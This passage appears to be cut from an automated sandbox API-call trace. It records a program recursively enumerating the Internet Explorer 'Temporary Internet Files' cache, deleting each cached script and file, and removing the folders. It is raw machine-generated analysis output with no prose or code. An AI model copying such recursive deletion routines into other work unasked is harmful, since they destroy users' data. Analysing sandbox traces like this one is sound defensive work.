Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="sbt-f6817f3a26c6[2].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\sbt-f6817f3a26c6[2].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\sbt-f6817f3a26c6[2].js" [0110.098] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\sbt-f6817f3a26c6[2].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\sbt-f6817f3a26c6[2].js")) returned 1 [0110.593] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba398580, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xba398580, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba3be6e0, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0xd94c, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="sem_ce1f66a3042d4bd6a3ccb0050c26ae01[1].js", cAlternateFileName="SEM_CE~1.JS")) returned 1 [0110.593] lstrlenW (lpString="sem_ce1f66a3042d4bd6a3ccb0050c26ae01[1].js") returned 42 [0110.593] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="sem_ce1f66a3042d4bd6a3ccb0050c26ae01[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\sem_ce1f66a3042d4bd6a3ccb0050c26ae01[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\sem_ce1f66a3042d4bd6a3ccb0050c26ae01[1].js" [0110.593] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\sem_ce1f66a3042d4bd6a3ccb0050c26ae01[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\sem_ce1f66a3042d4bd6a3ccb0050c26ae01[1].js")) returned 1 [0110.599] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd10e1d20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd10e1d20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1154140, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x15429, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="Standard[1]", cAlternateFileName="STANDA~1")) returned 1 [0110.599] lstrlenW (lpString="Standard[1]") returned 11 [0110.599] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="Standard[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\Standard[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\Standard[1]" [0110.600] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\Standard[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\standard[1]")) returned 1 [0110.600] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xcd631680, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd631680, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd631680, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="thirdparty[1]", cAlternateFileName="THIRDP~1")) returned 1 [0110.600] lstrlenW (lpString="thirdparty[1]") returned 13 [0110.600] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="thirdparty[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\thirdparty[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\thirdparty[1]" [0110.600] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\thirdparty[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\thirdparty[1]")) returned 1 [0110.601] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcedc7fb0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcedc7fb0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcedd4300, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x10513, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="uhf-main.var.min[1].js", cAlternateFileName="UHF-MA~1.JS")) returned 1 [0110.601] lstrlenW (lpString="uhf-main.var.min[1].js") returned 22 [0110.601] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="uhf-main.var.min[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\uhf-main.var.min[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\uhf-main.var.min[1].js" [0110.601] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\uhf-main.var.min[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\uhf-main.var.min[1].js")) returned 1 [0110.602] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1c0a440, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1c0a440, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1c0a440, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="Utils_v9-long[1].js", cAlternateFileName="UTILS_~1.JS")) returned 1 [0110.602] lstrlenW (lpString="Utils_v9-long[1].js") returned 19 [0110.602] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="Utils_v9-long[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\Utils_v9-long[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\Utils_v9-long[1].js" [0110.602] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\Utils_v9-long[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\utils_v9-long[1].js")) returned 1 [0110.603] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18e29a40, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x18e29a40, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x18e29a40, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x31ed, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="v2[1]", cAlternateFileName="V2_1_~1")) returned 1 [0110.603] lstrlenW (lpString="v2[1]") returned 5 [0110.603] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="v2[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\v2[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\v2[1]" [0110.603] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\v2[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\v2[1]")) returned 1 [0110.609] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18e29a40, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x18e29a40, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x18e29a40, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x31ed, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="v2[1]", cAlternateFileName="V2_1_~1")) returned 0 [0110.609] FindClose (in: hFindFile=0x71e97e0 | out: hFindFile=0x71e97e0) returned 1 [0110.610] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91a50 | out: hHeap=0x9770000) returned 1 [0110.610] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fe70 | out: hHeap=0x9770000) returned 1 [0110.610] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0110.610] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3")) returned 1 [0110.610] FindNextFileW (in: hFindFile=0x71e9c00, lpFindFileData=0x9a6e500 | out: lpFindFileData=0x9a6e500*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xba398580, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba398580, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x360030, dwReserved1=0x390030, cFileName="XEVK8ZW3", cAlternateFileName="")) returned 0 [0110.610] FindClose (in: hFindFile=0x71e9c00 | out: hFindFile=0x71e9c00) returned 1 [0110.610] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e500 | out: hHeap=0x9770000) returned 1 [0110.610] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e430 | out: hHeap=0x9770000) returned 1 [0110.610] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0110.610] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5")) returned 1 [0110.611] FindNextFileW (in: hFindFile=0x72013f0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xc6a551a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc6a551a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a551a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x490056, dwReserved1=0x490053, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.611] lstrlenW (lpString="desktop.ini") returned 11 [0110.611] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini" [0110.611] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\desktop.ini")) returned 1 [0110.611] FindNextFileW (in: hFindFile=0x72013f0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7cedd80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7cedd80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7cedd80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x490056, dwReserved1=0x490053, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1 [0110.611] lstrlenW (lpString="MSIMGSIZ.DAT") returned 12 [0110.611] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low", pszFile="MSIMGSIZ.DAT" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT" [0110.611] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\MSIMGSIZ.DAT" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\msimgsiz.dat")) returned 1 [0110.612] FindNextFileW (in: hFindFile=0x72013f0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7cedd80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7cedd80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7cedd80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x490056, dwReserved1=0x490053, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 0 [0110.612] FindClose (in: hFindFile=0x72013f0 | out: hFindFile=0x72013f0) returned 1 [0110.612] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc10 | out: hHeap=0x9770000) returned 1 [0110.612] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770f10 | out: hHeap=0x9770000) returned 1 [0110.612] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fa00 | out: hHeap=0x9770000) returned 1 [0110.612] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low")) returned 1 [0110.612] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 1 [0110.612] lstrlenW (lpString="Virtualized") returned 11 [0110.613] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", pszFile="Virtualized" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized" [0110.613] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized") returned 86 [0110.613] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e220 [0110.613] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb6) returned 0x9770f10 [0110.613] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e430 [0110.613] PathCombineW (in: pszDest=0x9770f10, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\*.*" [0110.613] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\*.*", lpFindFileData=0x9a6e430 | out: lpFindFileData=0x9a6e430*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName=".", cAlternateFileName="")) returned 0x72013f0 [0110.613] FindNextFileW (in: hFindFile=0x72013f0, lpFindFileData=0x9a6e430 | out: lpFindFileData=0x9a6e430*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="..", cAlternateFileName="")) returned 1 [0110.613] FindNextFileW (in: hFindFile=0x72013f0, lpFindFileData=0x9a6e430 | out: lpFindFileData=0x9a6e430*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="C", cAlternateFileName="")) returned 1 [0110.613] lstrlenW (lpString="C") returned 1 [0110.613] PathCombineW (in: pszDest=0x9a6e220, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized", pszFile="C" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C" [0110.613] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C") returned 88 [0110.613] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fa00 [0110.613] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xba) returned 0x9a6e690 [0110.613] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9b6fc10 [0110.613] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\*.*" [0110.613] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\*.*", lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490056, dwReserved1=0x490053, cFileName=".", cAlternateFileName="")) returned 0x7202530 [0110.614] FindNextFileW (in: hFindFile=0x7202530, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490056, dwReserved1=0x490053, cFileName="..", cAlternateFileName="")) returned 1 [0110.614] FindNextFileW (in: hFindFile=0x7202530, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490056, dwReserved1=0x490053, cFileName="Users", cAlternateFileName="")) returned 1 [0110.614] lstrlenW (lpString="Users") returned 5 [0110.614] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C", pszFile="Users" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users" [0110.614] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users") returned 94 [0110.614] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91840 [0110.614] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xc6) returned 0x9b6fe70 [0110.614] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91a50 [0110.614] PathCombineW (in: pszDest=0x9b6fe70, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\*.*" [0110.614] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users\\*.*", lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName=".", cAlternateFileName="")) returned 0x72028f0 [0110.615] FindNextFileW (in: hFindFile=0x72028f0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="..", cAlternateFileName="")) returned 1 [0110.615] FindNextFileW (in: hFindFile=0x72028f0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc7792c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc7792c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc7792c00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="aETAdzjz", cAlternateFileName="")) returned 1 [0110.615] lstrlenW (lpString="aETAdzjz") returned 8 [0110.615] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\C\\Users", pszFile="aETAdzjz" | out: 